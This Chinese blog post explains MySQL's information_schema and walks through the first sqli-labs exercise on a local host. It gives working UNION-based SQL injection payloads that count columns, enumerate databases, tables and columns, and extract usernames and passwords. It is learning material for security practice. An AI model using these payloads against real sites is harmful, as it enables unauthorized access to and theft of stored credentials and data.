mysql information_schema 注入_03 最大的数据库 information_schema介绍以及sql注入第一题题解...

本文介绍了MySQL的information_schema数据库,用于存储所有数据库信息,包括字段、表和数据库名称。通过示例展示了如何利用SQL注入技术进行数据库、表和字段的探测,并给出了实际的注入步骤,从判断字段数、显示位到爆库、爆表、爆字段和爆数据。

整理人:木头

第一次整理日期:2019.04.05

最后整理日期:2019.05.27

首先 插入个博客(csdn)

//里面有具体的information_schema数据库的结构描述以及如何sql注入的简单总结

直接copy过来 方便查看 //注明了出处 不算侵权吧      Ok,copy如下

-----------------------------------------------------------------

1.MySQL相关:

在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息

information_schema.columns包含所有表的字段

字段

table_schema 数据库名

table_name 表名

column_name 列名

information_schema.tables包含所有库的表名

字段

table_schema 数据库名

table_name 表名

information_schema.schemata包含所有数据库的名

字段

schema_name 数据库名

2.有回显的SQL注入:

执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入

查询语句

$id=$_GET['id'];

SELECT * FROM test WHERE id='$id' LIMIT 0,1;

判断字段数

?id=1' ORDER BY 3--+

判断显示位

?id=-1' UNION SELECT 1,2,3--+

利用函数获得信息

?id=-1 UNION SELECT 1,(version()),3--+

爆库

?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库

?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录

爆表

?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+

爆字段

?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+

爆数据

?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+

---------------------

作者:斯利普

来源:优快云

原文:https://blog.youkuaiyun.com/slip_666/article/details/79039742

版权声明:本文为博主原创文章,转载请附上博文链接!

------------------------------------------

然后sql注入第一题题解

7a8ea6dc92df4280c69c0f98a4d85981.png

1.在url后加入 ?id=1

8af20e01fb3167c36510eed63e09bb15.png

然后 加一个  '

3de9be3236190fb898659be1a541dc69.png

提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1

报错了,即存在sql注入

如何把多的单引号去掉呢

尝试 'or 1=1--+

此时sql语句就成了select ******where id='1'or 1=1--+'limit 0,1

从源代码中狗造成的sql语句为SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1

结果显示正常

2.利用order by //order by对前面的数据进行排序 (这里有三列数据,超过3即会报错)

//?id=1'order by 4--+ 报错

//即证明有三个字段

3.然后 union联合注入

//?id=-1'union select 1,2,3 --+

//介绍下此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union

可以从下面的例子中可以看出,强调一点:

union 前后的两个 sql 语句的选择列数要相同才可以。

Union all 与 union 的区别是增加了去重的功能。

我们这里根据上述 background 的知识,进行information_schema 知识的应用。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,

当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

此处前台页面返回了我们构造的 union 的数据。

4.爆数据库

此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

69840898c2c943b3099a11502fa3cfdb.png

5.爆security数据表

? id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

628b9cc6e3348a2875ce5da88379459b.png

6.爆users表的列

? id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1

d193e0e219dfc0f438d5be2a495dfe93.png

7.爆数据

?id=-1'union select 1,username,password from users where id=2--+

此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1s

92eb6f687f72440f47fb34aaa88ac99b.png

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值